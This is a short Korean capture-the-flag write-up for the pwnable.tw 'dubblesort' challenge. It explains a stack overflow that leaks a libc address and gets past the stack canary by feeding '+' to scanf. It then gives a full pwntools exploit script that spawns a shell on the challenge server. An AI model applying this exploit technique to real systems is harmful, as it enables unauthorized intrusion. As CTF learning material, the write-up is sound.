[pwnable.tw]dubblesort
문제는 쉬웠는데 remote offset이랑 local offset이랑 다른거 생각 못해서 너무 삽질했다. 이거때문에 디버깅만 몇 십번 한거같다 ㅎ;
취약점은 원하는 만큼 입력이 가능하기 때문에 터진다. name을 입력받을 때 stack에 있는 값을 leak할 수 있고 Canary를 scanf에서 +,-로 bypass해주고 system("/bin/sh")
로 만들어주면 된다.
exploit.py
from pwn import *
# context.log_level = 'error'
e = ELF('./dubblesort')
# p = process('./dubblesort',aslr=True)
p = remote('chall.pwnable.tw',10101)
libc = ELF('./libc_32.so.6')
# libc = e.libc
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
sa(':','A'*25)
p.recvuntil('A'*25)
leak = u32('\x00'+p.recv(3))
log.info('leak : {}'.format(hex(leak)))
libc_base = leak - 0x1b0000 # remote
#libc_base = leak - 0x1b2000 # local
log.info('libc_base : {}'.format(hex(libc_base)))
sla(':','35')
for i in range(24):
sla(':',str(0xaaaaaaaa))
sla(':','+') # Canary
for i in range(8):
sla(':',str(libc_base + libc.symbols['system']))
sla(':',str(libc_base + libc.symbols['system']))
sla(':',str(libc_base + libc.search('/bin/sh\x00').next()))
p.interactive()